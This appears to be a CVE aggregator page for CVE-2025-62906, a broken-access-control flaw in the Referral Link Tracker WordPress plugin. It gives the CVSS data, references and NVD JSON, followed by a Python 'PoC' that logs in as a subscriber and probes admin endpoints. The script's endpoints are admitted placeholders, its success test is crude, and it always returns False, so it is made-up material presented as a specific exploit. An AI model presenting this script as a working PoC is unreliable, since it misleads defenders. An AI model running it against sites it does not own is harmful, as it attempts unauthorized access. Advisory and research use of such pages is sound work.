CVE-2025-62906

Description

Missing Authorization vulnerability in epiphanyit321 Referral Link Tracker referral-link-tracker allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Referral Link Tracker: from n/a through <= 1.1.4.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

No configuration data available.

Referral Link Tracker <= 1.1.4

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests
import sys

# CVE-2025-62906 PoC - Missing Authorization in Referral Link Tracker
# Target: WordPress site with Referral Link Tracker plugin <= 1.1.4

TARGET = sys.argv[1] if len(sys.argv) > 1 else 'http://target.com'
USERNAME = sys.argv[2] if len(sys.argv) > 2 else 'subscriber'
PASSWORD = sys.argv[3] if len(sys.argv) > 3 else 'password'

def exploit():
    session = requests.Session()
    
    # Step 1: Login as low-privilege user
    login_url = f'{TARGET}/wp-login.php'
    login_data = {
        'log': USERNAME,
        'pwd': PASSWORD,
        'wp-submit': 'Log In'
    }
    session.post(login_url, data=login_data)
    
    # Step 2: Access admin-only endpoint without authorization
    # Replace ENDPOINT with actual vulnerable endpoint
    vulnerable_endpoints = [
        '/wp-admin/admin-ajax.php?action=rlt_admin_action',
        '/wp-json/rlt/v1/referral-data',
        '/wp-admin/admin.php?page=referral-link-tracker'
    ]
    
    for endpoint in vulnerable_endpoints:
        resp = session.get(f'{TARGET}{endpoint}')
        if resp.status_code == 200 and 'admin' in resp.text.lower():
            print(f'[+] Vulnerable endpoint found: {endpoint}')
            print(f'[+] Response preview: {resp.text[:500]}')
    
    return False

if __name__ == '__main__':
    exploit()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-62906
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-62906
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-62906/
[4] VulDB https://vuldb.com/cve/CVE-2025-62906
[5] https://patchstack.com/database/Wordpress/Plugin/referral-link-tracker/vulnerability/wordpress-referral-link-tracker-plugin-1-1-4-broken-access-control-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-62906", "sourceIdentifier": "[email protected]", "published": "2025-10-27T02:15:49.910", "lastModified": "2026-04-27T18:16:29.363", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in epiphanyit321 Referral Link Tracker referral-link-tracker allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Referral Link Tracker: from n/a through <= 1.1.4."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/referral-link-tracker/vulnerability/wordpress-referral-link-tracker-plugin-1-1-4-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}